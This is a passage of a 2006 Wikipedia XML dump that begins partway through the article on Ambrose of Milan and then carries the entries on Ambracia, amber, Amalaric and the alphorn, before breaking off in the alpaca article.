Though ranking with [[Augustine of Hippo|Augustine]], [[Jerome]], and [[Gregory the Great]], as one of the [[Latin]] [[Doctor of the Church|Doctors of the Church]], he is most naturally compared with [[Hilary]], whom he surpasses in administrative excellence as much as he falls below him in [[theology|theological]] ability. Even here, however, his achievements are of no mean order, especially when we remember his juridical training and his comparatively late handling of [[Biblical]] and [[doctrinal]] subjects.

His great spiritual successor, [[Augustine of Hippo|Augustine]], whose conversion was helped by Ambrose's [[sermon]]s, owes more to him than to any writer except [[Paul of Tarsus|Paul]].

Ambrose's intense episcopal consciousness furthered the growing [[doctrine]] of the Church and its [[sacerdotal]] ministry, while the prevalent [[asceticism]] of the day, continuing the [[Stoicism|Stoic]] and [[Cicero]]nian training of his youth, enabled him to promulgate a lofty standard of Christian [[ethics]]. Thus we have the ''De officiis ministrorum'', ''De viduis'', ''De virginitate'' and ''De paenitentia''.

==Writings==
In matters of [[exegesis]] he is, like Hilary, an [[Alexandrian]]. In [[dogma]] he follows [[Basil of Caesarea]] and other Greek authors, but nevertheless gives a distinctly Western cast to the speculations of which he treats.  This is particularly manifest in the weightier emphasis which he lays upon human [[sin]] and [[divine grace]], and in the place which he assigns to [[faith]] in the individual Christian life.

* ''De fide ad Gratianum Augustum''
* ''De Spiritu Sancto''
* ''De incarnationis Dominicae sacramento''
* ''De mysteriis''
* homiletic commentaries on the early [[Old Testament]] narratives, e.g., the ''[[Hexaemeron]]'' (Creation) and [[Abraham]], some of the ''[[Psalms]]'', and the ''[[Gospel according to Luke]]''. 
* several funeral orations
* 91 letters
* ''[[Ambrosiaster]]'' or the &quot;pseudo-Ambrose&quot; is a brief commentary on Paul's ''Epistles'', which was long attributed to Ambrose. See [[Ambrosiaster]].

==Church Music==
Catching the impulse from [[Hilary of Arles|Hilary]] and confirmed in it by the success of Arian [[psalmody]], Ambrose composed several [[hymn]]s, marked by dignified simplicity, which were not only effective in themselves but served as a fruitful model for later times. Each of these hymns has eight four-line [[stanza]]s and is written in strict iambic tetrameter.

*''Deus Creator Omnium''
*''Aeterne rerum conditor''
*''Jam surgit hora tertia''
*''Veni redemptor gentium'' (a [[Christmas]] hymn)

*[http://www.geocities.com/hashanayobel/christwrit/hymns.htm Text of some Ambrosian Hymns]

St. Ambrose is considered as the first who introduced the [[Antiphon|antiphonant]] method of chanting, or one side of the choir alternately responding to the other; from whence that particular mode obtained the name of the &quot;[[chant]],&quot; while the [[plainsong]], introduced by [[Pope Gregory I|St. Gregory]], still practised in the Romish service, is called the &quot;[[Gregorian chant|Gregorian]],&quot; or &quot;[[Romish chant]].&quot; The works of St. Ambrose continue to be held in much respect, particularly the hymn of ''[[Te Deum]]'', which he is said to have composed when he baptised [[Augustine of Hippo|Saint Augustine]], his celebrated convert.

==Ambrose and reading==
Ambrose is the subject of a curious anecdote in [[Augustine of Hippo|Augustine]]'s ''Confessions'' which bears on the history of [[reading (activity)|reading]]:

:''When [Ambrose] read, his eyes scanned the page and his heart sought out the meaning, but his voice was silent and his tongue was still. Anyone could approach him freely and guests were not commonly announced, so that often, when we came to visit him, we found him reading like this in silence, for he never read aloud.''

The extraordinary aspect of this passage, of course, is that Augustine felt it noteworthy that Ambrose could read silently, implying that hardly anyone else could at the time.   

[[Alvin Toffler]] also quotes this story in [[Powershift]]
:''&quot;...Saint Augustine, writing in the 5th century, refers to his mentor, Saint Ambrose, the Bishop of Milan, who was so learned that he could actually read without moving his lips. For this astonishing feat he was regarded as the brainiest person in the world.&quot;''


For more on silent reading, see ''A History of Reading'' by Albert Manguel, Chapter 2, posted on line [http://www.stanford.edu/class/history34q/readings/Manguel/Silent_Readers.html here].

==See also==
*[[Ambrosians]]

Several religious brotherhoods which have sprung up in and around Milan at various times since the [[14th century]] have been called Ambrosians. Their connection to Ambrose is tenuous.

== External links ==
*[http://www.earlychristianwritings.com/fathers/ambrose_letters_00_intro.htm Early Christian writings: Letters of St. Ambrose of Milan]
*[http://www.ccel.org/fathers2/NPNF2-10/TOC.htm  Christian Classics Ethereal Library, Works of Ambrose of Milan]
*[http://www.fh-augsburg.de/~harsch/amb_hy00.html Hymni Ambrosii (latin)]
*[http://www.earlychurch.org.uk/ambrose.php EarlyChurch.org.uk] Extensive bibliography.

==References==
*{{1911}}

[[category:Church Fathers]]
[[Category:340s births]]
[[Category:397 deaths]]
[[Category:Saints]]
[[Category:Ancient Roman Christianity]]
[[Category:Late Antiquity]]
[[Category:Doctors of the Church]]

[[de:Ambrosius von Mailand]]
[[es:Ambrosio]]
[[fr:Ambroise de Milan]]
[[ko:암브로시우스]]
[[id:Santo Ambrosius]]
[[it:Sant'Ambrogio]]
[[he:אמברוזיוס]]
[[la:Ambrosius]]
[[hu:Szent Ambrus]]
[[nl:Ambrosius]]
[[ja:アンブロジウス]]
[[pl:Święty Ambroży]]
[[pt:Ambrósio de Milão]]
[[ro:Ambrozie]]
[[sk:Ambrosius]]
[[fi:Ambrosius]]
[[sv:Ambrosius av Milano]]</text>
    </revision>
  </page>
  <page>
    <title>Ambracia</title>
    <id>1371</id>
    <revision>
      <id>40205144</id>
      <timestamp>2006-02-18T23:16:20Z</timestamp>
      <contributor>
        <username>Deville</username>
        <id>364144</id>
      </contributor>
      <minor />
      <comment>Disambiguate [[Epirus]] to [[Epirus (region)]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">'''Ambracia''' (more correctly '''Ampracia''') was an ancient [[Corinth, Greece|Corinthian]] colony, situated about 7 miles from the [[Ambracian Gulf]] in [[Greece]], on a bend of the navigable river Aracthus (or Aratthus), in the midst of a fertile wooded plain.

It was founded between [[650 BC|650]] and [[625 BC]] by [[Gorgus]], son of the Corinthian tyrant [[Cypselus]].  After the expulsion of Gorgus's son [[Periander]] its government developed into a strong democracy.  The early policy of Ambracia was determined by its loyalty to Corinth (for which it probably served as an entrepot in the [[Epirus (region)|Epirus]] trade), its consequent aversion to [[Corcyra]], and its frontier disputes with the Amphilochians and Acarnanians.  Hence it took a prominent part in the [[Peloponnesian War]] until the crushing defeat at [[Idomene]] ([[426 BC|426]]) crippled its resources.  

In the [[4th century BC|4th century]] it continued its traditional policy, but in [[338 BC|338]] surrendered to [[Philip II of Macedon]].  After forty-three years of autonomy under [[Macedon]]ian suzerainty it became the capital of [[Pyrrhus of Epirus|Pyrrhus]], king of Epirus, who adorned it with palace, temples and theatres.  In the wars of [[Philip V of Macedon]] and the Epirotes against the [[Aetolia]]n league ([[220 BC|220]]-[[205 BC|205]]) Ambracia passed from one alliance to the other, but ultimately joined the latter confederacy.  During the struggle of the Aetolians against [[Roman Republic|Rome]] it stood a stubborn [[siege]].  

After its capture and plunder by [[M. Fulvius Nobilior]] in [[189 BC|189]], it fell into insignificance.  The foundation by [[Augustus Caesar|Augustus]] of [[Nicopolis]], into which the remaining inhabitants were drafted, left the site desolate.  In [[Byzantine Empire|Byzantine]] times a new settlement took its place under the name of Arta. Some fragmentary walls of large, well-dressed blocks near this latter town indicate the early prosperity of Ambracia. 

{{1911}}

[[Category:Corinthian colonies]]
[[fr:Ambracie]]</text>
    </revision>
  </page>
  <page>
    <title>Amber</title>
    <id>1372</id>
    <revision>
      <id>40267394</id>
      <timestamp>2006-02-19T10:21:31Z</timestamp>
      <contributor>
        <ip>71.112.165.14</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{otheruses}}

[[image:amber.pendants.800pix.050203.jpg|thumb|250px|Amber pendants. The oval pendant is 52 by 32 mm (2 by 1.3 inches).]]
'''Amber''' is a [[fossil]] [[resin]] much used for the manufacture of ornamental objects. Although not mineralized it is sometimes considered and used as a [[gemstone]]. Most of the world's amber is in the range of 30&amp;ndash;90 million years old. Semi-fossilized resin or sub-fossil amber is called [[copal]]  
==History==

The name comes from the [[Arabic language|Arabic]] &amp;#1593;&amp;#1606;&amp;#1576;&amp;#1585;, ''&amp;#699;anbar'', probably through [[Spanish language|Spanish]], but this word referred originally to [[ambergris]], which is an animal substance quite distinct from yellow amber.  True amber has sometimes been called ''kahroba'', a word of [[Persian Language|Persian]] derivation signifying &quot;that which attracts straw&quot;, in allusion to the power which amber possesses of acquiring an electric charge by friction. This property, first recorded by [[Thales|Thales of Miletus]], suggested the word &quot;[[electricity]]&quot;, from the [[Greek language|Greek]], ''[[electrum|elektron]]'', a name applied, however, not only to amber but also to an [[alloy]] of [[gold]] and [[silver]]. By [[Latin]] writers amber is variously called ''[[electrum]]'', ''sucinum'' (''succinum''), and ''glaesum'' or ''glesum''. The [[Hebrew language|Old Hebrew]] &amp;#1495;&amp;#1513;&amp;#1502;&amp;#1500; ''hashmal'' seems to have meant amber, although Modern Hebrew uses Arabic-inspired &amp;#1506;&amp;#1504;&amp;#1489;&amp;#1512; ''`inbar''. The [[German language|German]] word is ''Bernstein''.

Amber, which has no primitive uses, has been found at [[Neolithic]] sites far from its source on the shores of the [[Baltic sea]], mute witness, like [[obsidian]], to long-distance trade routes established before the [[Bronze Age]]. There is strong evidence for the theory that the Baltic coasts during the advanced civilization of the [[Nordic Bronze Age]] was the source of most amber in Europe, for example the amber jewelry found in graves from [[Mycenaean Greece]] has been found to originate from the Baltic Sea. Amber was mentioned by [[Homer]], [[Aristotle]], [[Plato]] and others. [[Pliny the Elder]] complains that a small statue of amber costs more than a healthy slave. [[Tacitus]] in his ''[[Germania (book)|Germania]]'' talks about the [[Aesti]] people as the only ones to gather amber from the [[Baltic Sea]]. 

During the 14th century, the [[Teutonic Knights]] controlled the production of amber in Europe, forbidding its unauthorised collection from beaches on the Baltic coastline under their jurisdiction, and punishing breakers of this ordinance with death.

==Composition==

Amber is [[heterogeneous]] in composition, but consists of several [[resin]]ous bodies more or less soluble in [[ethanol|alcohol]], [[diethyl ether|ether]] and [[chloroform]], associated with an insoluble [[Bitumen|bituminous]] substance. Amber is a [[macromolecule]] by free [[radical polymerization]] of several precursors in the labdane family, communic acid, cummunol and biformene {{Ref|1}}. Labdanes are tetrameric [[terpene]]s (C&lt;sub&gt;20&lt;/sub&gt;H&lt;sub&gt;32&lt;/sub&gt;) and trienes which means that the organic skeleton has three [[alkene]] groups available for [[polymerization]]. As amber matures over the years, more polymerization will take place as well as [[isomerization]] reactions, [[Cross-link|crosslinking]] and cyclization. The average composition of amber leads to the general formula [[Carbon|C]]&lt;sub&gt;10&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;16&lt;/sub&gt;[[Oxygen|O]]. 

Heating amber will soften it and eventually it will burn, which is why the [[German language|German]] word for amber is ''bernstein''. Heated rather below 300°C, amber suffers decomposition, yielding an &quot;oil of amber&quot;, and leaving a black residue which is known as &quot;amber colophony&quot;, or &quot;amber pitch&quot;; when dissolved in oil of [[turpentine]] or in [[linseed oil]] this forms &quot;amber varnish&quot; or &quot;amber lac&quot;.

True amber yields on dry distillation [[succinic acid]], the proportion varying from about 3 to 8%, and being greatest in the pale opaque or ''bony'' varieties. The aromatic and irritating fumes emitted by burning amber are mainly due to this acid. True Baltic amber is distinguished by its
yield of succinic acid, for many of the other fossil resins which are often termed amber contain either none of it, or only a very small proportion; hence the name ''succinite'' proposed by Professor [[James Dwight Dana]], and now commonly used in scientific writings as a specific term for the real Prussian amber. Succinite has a hardness between 2 and 3, which is rather greater than that of many other fossil resins. Its specific gravity varies from 1.05 to 1.10. An effective tool for Amber analysis is [[IR spectroscopy]]. It enables the distinction between baltic amber and non-Baltic varieties because of a specific [[carbonyl]] absorption and it can also detect the relative age of an amber sample.

== Amber in Geology ==
The Baltic amber or succinite is found as irregular nodules in a marine glauconitic sand, known as ''blue earth,'' occurring in the Lower [[Oligocene]] strata of [[Sambia (Baltic)|Sambia]] in [[Kaliningrad Oblast]], where it is now systematically mined. It appears, however, to have been partly derived from yet earlier [[Tertiary]] deposits ([[Eocene]]); and it occurs also as a derivative [[mineral]] in later formations, such as the drift. Relics of an abundant flora occur as inclusions trapped within the amber while the resin was yet fresh, suggesting relations with the flora of Eastern [[Asia]] and the southern part of [[North America]]. [[H. R. Goppert]] named the common amber-yielding pine of the Baltic forests ''Pinites succiniter'', but as the wood, according to some authorities, does not seem to differ from that of the existing genus it has been also called ''Pinius succinifera''. It is improbable, however, that the production of amber was limited to a single species; and indeed a large number of conifers belonging to different genera are represented in the amber-flora.&lt;!--antique text--&gt;

==Amber inclusions ==
[[image:amber.insect.800pix.050203.jpg|thumb|250px|An insect trapped in amber. The amber piece is 10 mm (0.4 inches) long. In the enlarged picture, the insect's antennae are easily seen.]]

The resin contains, in addition to the beautifully preserved plant-structures, numerous remains of insects, spiders, annelids, crustaceans and other small organisms which became enveloped while the exudation was fluid. In most cases the organic structure has disappeared, leaving only a cavity, with perhaps a trace of [[chitin]]. Even hair and feathers have occasionally been represented among the enclosures. Fragments of wood frequently occur, with the tissues well-preserved by impregnation with the resin; while leaves, flowers and fruits are occasionally found in marvellous perfection. Sometimes the amber retains the form of drops and stalactites, just as it exuded from the ducts and receptacles of the injured trees. The abnormal development of resin has been called ''succinosis''. Impurities are quite often present, especially when the resin dropped on to the ground, so that the material may be useless except for varnish-making, whence the impure amber is called ''firniss''. Enclosures of [[pyrites]] may give a bluish colour to amber. The so-called ''black amber'' is only a kind of [[Jet (lignite)|jet]]. ''Bony amber'' owes its cloudy opacity to minute bubbles in the interior of the resin. In the [[Dominican Republic]] exists a type of amber known as the [[Blue Amber]].

==Locations and utilization==

Although amber is found along the shores of a large part of the [[Baltic Sea]] and the [[North Sea]], the great amber-producing country is the promontory of [[Samland]], now part of [[Russia]]. Pieces of amber torn from the sea-floor are cast up by the waves, and collected at ebb-tide. Sometimes the searchers wade into the sea, furnished with nets at the end of long poles, by means of which they drag in the sea-weed containing entangled masses of amber; or they dredge from boats in shallow water and rake up amber from between the boulders. Divers have been employed to collect amber from the deeper waters. Systematic dredging on a large scale was at one time carried on in the Kurisches Haff by Messrs Stantien and Becker, the great amber merchants of [[Kaliningrad|Königsberg]]. At the present time extensive mining operations are conducted in quest of amber. The ''pit amber'' was formerly dug in open works, but is now also worked by underground galleries. The nodules from the ''blue earth'' have to be freed from matrix and divested of their opaque crust, which can be done in revolving barrels containing sand and water. The sea-worn amber has lost its crust, but has often acquired a dull rough surface by rolling in sand.

Amber is extensively used for beads and other ornaments, and for cigar-holders and the mouth-pieces of pipes. It is regarded by the [[Turkey|Turks]] as specially valuable, inasmuch as it is said to be incapable of transmitting infection as the pipe passes from mouth to mouth. The variety most valued in the East is the pale straw-coloured, slightly cloudy amber. Some of the best qualities are sent to [[Vienna]] for the manufacture of smoking appliances. In working amber, it is turned on the [[Lathe (tool)|lathe]] and polished with whitening and water or with rotten stone and oil, the final lustre being given by friction with flannel. During the working much electricity is developed.

When gradually heated in an oil-bath, amber becomes soft and flexible. Two pieces of amber may be united by smearing the surfaces with [[linseed oil]], heating them, and then pressing them together while hot. Cloudy amber may be clarified in an oil-bath, as the oil fills the numerous [[pore]]s to which the turbidity is due. Small fragments, formerly thrown away or used only for varnish, are now utilized on a large scale in the formation of &quot;ambroid&quot; or &quot;pressed amber&quot;. The pieces are carefully heated with exclusion of air and then compressed into a uniform mass by intense hydraulic pressure; the softened amber being forced through holes in a metal plate. The product is extensively used for the production of cheap jewellery and articles for smoking. This pressed amber yields brilliant interference colours in polarized light. Amber has often been imitated by other resins like [[copal]] and [[kauri]], as well as by [[celluloid]] and even [[glass]]. True amber is sometimes coloured artificially.

Amber was much valued as an ornamental material in very early times.  It has been found in [[Mycenae]]an tombs; it is known from lake-dwellings in [[Switzerland]], and it occurs with [[neolithic]] remains in [[Denmark]], whilst in [[England]] it is found with interments of the [[bronze age]].  A remarkably fine cup turned in amber from a bronze-age [[tumulus|barrow]] at [[Hove]] is now in the [[Brighton Museum]]. Beads of amber occur with [[Anglo-Saxon]] relics in the south of England; and up to a comparatively recent period the material was valued as an [[amulet]]. It is still believed to possess a certain medicinal virtue. 

Rolled pieces of amber, usually small but occasionally of very large size, may be picked up on the east coast of England, having probably been washed up from deposits under the North Sea. [[Cromer]] is the best-known locality, but it occurs also on other parts of the [[Norfolk, England|Norfolk]] coast, as well as at [[Great Yarmouth]], [[Southwold]], [[Aldeburgh]] and [[Felixstowe]] in [[Suffolk]], and as far south as [[Walton-on-the-Naze]] in [[Essex, England|Essex]], whilst northwards it is not unknown in [[Yorkshire]]. On the other side of the North Sea, amber is found at various localities on the coast of the [[Netherlands]] and Denmark. On the shores of the Baltic it occurs not only on the German and Polish coast but in the south of [[Sweden]], in [[Bornholm]] and other islands, and in southern [[Finland]]. Amber has indeed a very wide distribution, extending over a large part of northern Europe and occurring as far east as the [[Urals]]. Some of the amber districts of the Baltic and North Sea were known in prehistoric times, and led to early trade with the south of Europe. Amber was carried to [[Olbia]] on the [[Black Sea]], Massilia (today [[Marseille]]) on the [[Mediterranean]], and [[Hatria]] at the head of the [[Adriatic]]; and from these centres it was distributed over the [[Hellenic]] world.

The [[Amber Room]] was a collection of chamber wall panels commissioned in [[1701]] for the king of [[Prussia]], then given to Tsar [[Peter I of Russia|Peter the Great]]. The room was hidden in place from invading [[Nazi]] forces in 1941, who upon finding it in the Cathrine Palace, disassembled it and moved it to [[Kaliningrad|Königsberg]].  What happened to the room beyond this point is unclear.  It is presumed lost.  It was [http://news.bbc.co.uk/2/hi/europe/3025833.stm re-created in 2003].

[[Image:amberroomdetail.jpg|thumb|250px|The [[Amber Room]] was reconstructed from the [[Kaliningrad]] amber.]]

Amber and certain similar substances are found to a limited extent at several localities in the [[United States]], as in the green-sand of [[New Jersey]], but they have little or no economic value. A fluorescent amber occurs in the southern state of Chiapas in [[Mexico]], and is used extensively to create eye-catching jewellery. Blue amber is recorded in the [[Dominican Republic]].  These Central American ambers are formed from the resins of Legume trees (Hymenea) and not conifers.

==Varieties==

Besides succinite, which is the common variety of European amber, the following varieties also occur:

* Gedanite, or ''brittle amber,'' closely resembling succinite, but much more brittle, not quite so hard, with a lower melting point and containing no succinic acid. It is often covered with a white powder easily removed by wiping. The name comes from Gedanum, the Latin name of [[Gda&amp;#324;sk]] at the [[Baltic Sea]]. 
* Stantienite, a brittle, deep brownish-black resin, destitute of succinic acid.

* Beckerite, a rare amber in earthy-brown nodules, almost opaque, said to be related in properties to gutta-percha.

* Glessite, a nearly opaque brown resin, with numerous microscopic cavities and dusty enclosures, named from glesum, an old name for amber.

* Krantzite, a soft amber-like resin, found in the lignites of [[Saxony]].

* Allingite, a [[fossil]] resin allied to succinite, from Switzerland. 

* Roumanite, or Romanian amber, a dark reddish resin, occurring with lignite in Tertiary deposits. The nodules are penetrated by cracks, but the material can be worked on the lathe. [[Sulfur|Sulphur]] is present to the extent of more than 1%, whence the smell of sulphuretted hydrogen when the resin is heated. According to [[Gheorghe Murgoci]] the Romanian amber is true succinite.

* Simetite, or Sicilian amber, takes its name from the river [[Simeto]] or [[Giaretta]]. It occurs in [[Miocene]] deposits and is also found washed up by the sea near [[Catania]]. This beautiful material presents a great diversity of tints, but a rich hyacinth red is common. It is remarkable for its fluorescence, which in the opinion of some authorities adds to its beauty. Amber is also found in many localities in [[Emilia]], especially near the sulphur-mines of [[Cesena]]. It has been conjectured that the ancient [[Etruscan civilization|Etruscan]] ornaments in amber were wrought in the Italian material, but it seems that amber from the Baltic reached the Etruscans at Hatria. It has even been supposed that amber passed from [[Sicily]] to northern Europe in early times - a supposition said to receive some support from the fact that much of the amber dug up in Denmark is red; but it must not be forgotten that reddish amber is found also on the Baltic, though not being fashionable it is used rather for varnish-making than for ornaments. Moreover, yellow amber after long burial is apt to acquire a reddish colour. The amber of Sicily seems not to have been recognized in ancient times, for it is not mentioned by local authorities like [[Diodorus Siculus]].

* Burmite is the name under which the Burmese amber is now described. Until the British occupation of [[Burma]] but little was known as to its occurrence, though it had been worked for centuries and was highly valued by the natives and by the Chinese. It is found in fiat rolled pieces, irregularly distributed through a blue clay probably of Miocene age. It occurs in the [[Hukawng]] valley, in the [[Nangotaimaw]] hills, where it is irregularly worked in shallow pits. The mines were visited some years ago by Dr [[Fritz Noetling]], and the mineral has been described by Dr [[Otto Helm]]. The Burmese amber is yellow or reddish, some being of ruby tint, and like the Sicilian amber it is fluorescent. Burmite and simetite agree also in being destitute of succinic acid.  Most of the Burmese amber is worked at [[Mandalay]] into rosary-beads and ear-cylinders.

Many other fossil resins more or less allied to amber have been described.  Schraufite is a reddish resin from the [[Carpathian]] [[sandstone]], and it occurs with [[Jet (lignite)||jet]] in the [[Cretaceous]] rocks of the [[Lebanon]]; ambrite is a resin found in many of the [[coal]]s of [[New Zealand]]; retinite occurs in the lignite of [[Bovey Tracey]] in Devonshire and elsewhere; whilst copaline has been found in the London clay of [[Highgate]] in North London. Chemawinite or cedarite is an amber-like resin from the [[Saskatchewan river]] in [[Canada]].

== See also ==
* [[List of minerals]]
* [[Ammolite]]
* [[Dominican amber]]
* [[Amber in British place names]]
* [[Spirit of amber]]
* [[Oil of amber]]

== References ==
# {{Note|1}} ''Assignment of vibrational spectra of labdatriene derivatives and ambers: A combined experimental and density functional theoretical study'' Manuel Villanueva-García, Antonio Martínez-Richa, and Juvencio Robles [[Arkivoc]] (EJ-1567C) pp 449-458 [http://www.arkat-usa.org/ark/journal/2005/I06_Juaristi/1567/EJ-1567C.asp Online Article]

==External links==
*[http://www.emporia.edu/earthsci/amber/amber.htm The World of Amber] A comprehensive website maintained by the Earth Science Department of Emporia State University, Emporia, Kansas (Accessed [[29 May]] [[2005]])
*[http://www.lariamber.com/mine.html Visit to an amber mine in the Dominican Republic]
*[http://www.ambarazul.com/domamb.html Dominican Amber]
*[http://www.amberemotion.com/faszination-bernstein.html Information about amber from Poland - Gdansk (German)]
* [http://baltic-amber.amberizon.com/ Facts about Baltic Amber]

[[Category:Fossils]]
[[Category:Arabic words]]

{{Link FA|de}}

[[cs:Jantar]]
[[cy:Ambr]]
[[da:Rav]]
[[de:Bernstein]]
[[et:Merevaik]]
[[es:Ámbar]]
[[eo:Sukceno]]
[[fr:Ambre]]
[[ko:호박 (화석)]]
[[io:Sucino]]
[[is:Raf]]
[[it:Ambra (resina)]]
[[he:ענבר]]
[[lt:Gintaras]]
[[nl:Barnsteen]]
[[ja:コハク]]
[[no:Rav]]
[[pl:Bursztyn]]
[[pt:Âmbar]]
[[ru:Янтарь]]
[[sl:Jantar]]
[[fi:Meripihka]]
[[sv:Bärnsten]]
[[vi:Hổ phách]]
[[zh:琥珀]]</text>
    </revision>
  </page>
  <page>
    <title>Amalaric</title>
    <id>1373</id>
    <revision>
      <id>39465994</id>
      <timestamp>2006-02-13T08:26:18Z</timestamp>
      <contributor>
        <ip>68.35.130.224</ip>
      </contributor>
      <comment>Castlevania references</comment>
      <text xml:space="preserve">'''Amalaric''' or ''Amalarico'' in [[Spanish language|Spanish]] (died [[531]]), king of the [[Visigoths]], son of [[Alaric II]], was a child when his father fell in battle against [[Clovis I]], king of the [[Franks]], in ([[507]]). [[Gesalec]] was chosen king and the child Amalaric was carried for safety into [[Hispania]], which country and [[Provence]] were thenceforth ruled by his maternal grandfather, [[Theodoric the Great|Theodoric]] the Ostrogoth, acting through his vice regent, [[Theudis]], an Ostrogothic nobleman. In [[522]] the young Amalaric was proclaimed king, and four years later, on Theodoric's death, he assumed full royal power in Hispania and that part of [[Languedoc]] called [[Septimania]], relinquishing [[Provence]] to his cousin [[Athalaric]]. He married [[Chrotilda]], daughter of Clovis; but his disputes with her, he being an [[Arianism|Arian]] and she a [[Catholicism|Catholic]], brought on him the penalty of a Frankish invasion by [[Childebert I]], king of [[Paris]], in which he lost his life in [[531]].

[[Konami]] has twice included flying, angelic [[Archery|archers]] enemies in its [[Castlevania]] series of games, tying them to the story of Amalaric's demise.  In [[Castlevania: Symphony of the Night]], there is a blue-tinted angelic enemy known as &quot;Sniper of Goth,&quot; whose description reads &quot;Slew Amalaric of the Goths.&quot;  In [[Castlevania: Dawn of Sorrow]], the enemy appears again and is functionally identical, although its name is now &quot;Amalaric Sniper&quot; and its description now reads &quot;A fearsome archer and a fallen angel.&quot; 

==References==
*{{1911}}
*Edward Gibbon, [http://etext.library.adelaide.edu.au/g/gibbon/edward/g43d/chapter39.html ''History of the Decline and Fall of the Roman Empire''] Chapter 39

{{start box}}
|width=25% align=center|'''Preceded by:'''&lt;br&gt;'''[[Gesalec]]'''
|width=25% align=center|'''[[Visigoths#Kings_of_the_Visigoths|King of the Visigoths]]'''&lt;br&gt;511&amp;ndash;531
|width=25% align=center|'''Succeeded by:'''&lt;br&gt;'''[[Theudis]]'''
|-
{{end box}}

[[Category:531 deaths|Amalaric]]
[[Category:Kings of the Visigoths]]

[[de:Amalrich]]
[[es:Amalarico]]
[[pl:Amalaryk]]</text>
    </revision>
  </page>
  <page>
    <title>Alphorn</title>
    <id>1374</id>
    <revision>
      <id>40326721</id>
      <timestamp>2006-02-19T21:06:47Z</timestamp>
      <contributor>
        <username>Missmarple</username>
        <id>207003</id>
      </contributor>
      <minor />
      <comment>fix some links</comment>
      <text xml:space="preserve">[[image:Alphorn.JPG|thumb|D' Dieß'ner alphorn players]]
'''Alpenhorn''' or '''alphorn''', a [[wind instrument]], consisting of a natural wooden horn of conical bore, having a cup-shaped [[mouthpiece]], used by mountain dwellers in Switzerland and elsewhere. 

The alphorn is carved from solid softwood, generally spruce but sometimes pine. In former times the alphorn maker would find a tree bent at the base in the shape of an alphorn, but modern makers piece the wood together at the base.   A cup-shaped mouthpiece carved out of a block of hard wood is added and the instrument is complete.  

The alpenhorn has no lateral openings and therefore gives the pure natural harmonic series of the open pipe.  The harmonics are the more readily obtained by reason of the small diameter of the bore in relation to the length.  An alpenhorn made at Rigi-Kulm, Schwyz, and now in the [[Victoria and Albert Museum]], measures 8 ft. in length and has a straight tube.  

[[Image:Swiss playing an alphorn.jpg|thumb|A Swiss playing alphorn near a mountain lake]]
The well-known Ranz des Vaches is the traditional melody of the alpenhorn from French Switzerland. The song describes the time of bringing the cows to the high country at cheese making time. [[Gioacchino Rossini|Rossini]] introduced the melody into his opera ''William Tell.'' [[Johannes Brahms|Brahms]] was clear that the inspiration for the great melody that opens the last movement of his First Symphony (played in the orchestra by the [[horn (instrument)|horn]]) was an alphorn melody he heard in the Rigi area of Switzerland.

The Swiss alpenhorn varies in shape according to the locality, being curved near the bell in the Bernese Oberland.  [[Michael Praetorius]] mentions the alpenhorn under the name of holzerni trummet in ''Syntagma Musicum'' (Wittenberg, 1615-1619). 

This is the horn featured in [[Ricola]] [[cough medicine|cough drop]] commercials.  

==References==
*{{1911}}
==Music for Alphorn==

Among music composed for the alphorn:

*'' Sinfonia Pastorella for Alphorn and String Orchestra''   by [[Leopold Mozart]] 
*''Concerto for alphorn and orchestra'' by  Jean Daetwyler
*''Concertino rustico'' by Ference Farkas

== External links ==
* [http://www.jacaranda.de Jacaranda Ensemble]
* [http://www.SwissAlphorn.com Swiss Alphorn Players, in German]
* [http://www.alphorn.ca Rocky Mountain Alphorns, in English]


[[Category:Wind instruments proper]]

[[de:Alphorn]]
[[fr:Cor des Alpes]]
[[he:קרן האלפים]]
[[nl:Alpenhoorn]]
[[sv:Alphorn]]</text>
    </revision>
  </page>
  <page>
    <title>Alpaca</title>
    <id>1375</id>
    <revision>
      <id>41999917</id>
      <timestamp>2006-03-03T03:25:11Z</timestamp>
      <contributor>
        <username>Zafiroblue05</username>
        <id>284148</id>
      </contributor>
      <minor />
      <comment>/* History of the Scientific Name */ caps</comment>
      <text xml:space="preserve">{{Otherusesabout|a breed of domesticated ungulates}}
{{Taxobox
| color = pink
| name = Alpaca
| status = {{StatusDomesticated}}
| image = Alpaca2.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| familia = [[Camelidae]]
| genus = ''[[Vicugna (genus)|Vicugna]]''
| species = '''''V. pacos'''''
| binomial = ''Vicugna pacos''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}
The '''Alpaca''' (Vicugna pacos) is one of two domesticated breeds of South American [[camel]]-like [[ungulate|ungulates]], derived from the wild [[guanaco]].  It resembles a sheep in appearance, but is larger in size, and has a long erect neck with a handsome head.

Alpacas are kept in large flocks that graze on the level heights of the [[Andes]] of southern [[Peru]], northern [[Bolivia]], and northern [[Chile]] at an altitude of between 3500 and 5000 meters above sea-level, throughout the year.  They are not used as beasts of burden like [[llama|llamas]], but are valued only for their [[fiber]], of which Indian blankets and ponchos are 
made.  The alpaca comes in 22 natural colours. In stature, the alpaca is considerably inferior to the llama, but has the same unpleasant habit of spitting. 

In the textile industry, &quot;alpaca&quot; is a name given to two distinct things.  It is primarily a term applied to the wool, or rather hair, obtained from the Peruvian alpaca.  It is, however, more broadly applied to a style of fabric originally made from alpaca fiber but now frequently made from a similar type of fiber, such as [[mohair]], [[Icelandic (sheep)|Icelandic sheep]] wool, or even some high-quality English wool.  In trade, distinctions are made between alpacas and the several styles of mohairs and lustres. However, as far as the general purchaser is concerned, little or no distinction is made.

===Background===
Alpacas have been domesticated for thousands of years, and originate from Peru, Chile and Bolivia.  There are no wild alpacas; it is believed that they are descended from the [[vicuna]], which is also native to South America.  They are closely related to llamas, which are descended from the guanaco.  These four species of animals are collectively called camelids.

Of the four, the alpaca and the vicuña are the most valuable wool-bearing animals: the alpaca because of the quality and quantity of its wool, and the vicuña because of the softness, fineness and quality of its coat.

Alpacas and llamas can (and do) successfully cross breed, the resulting offspring are called huarizo.  

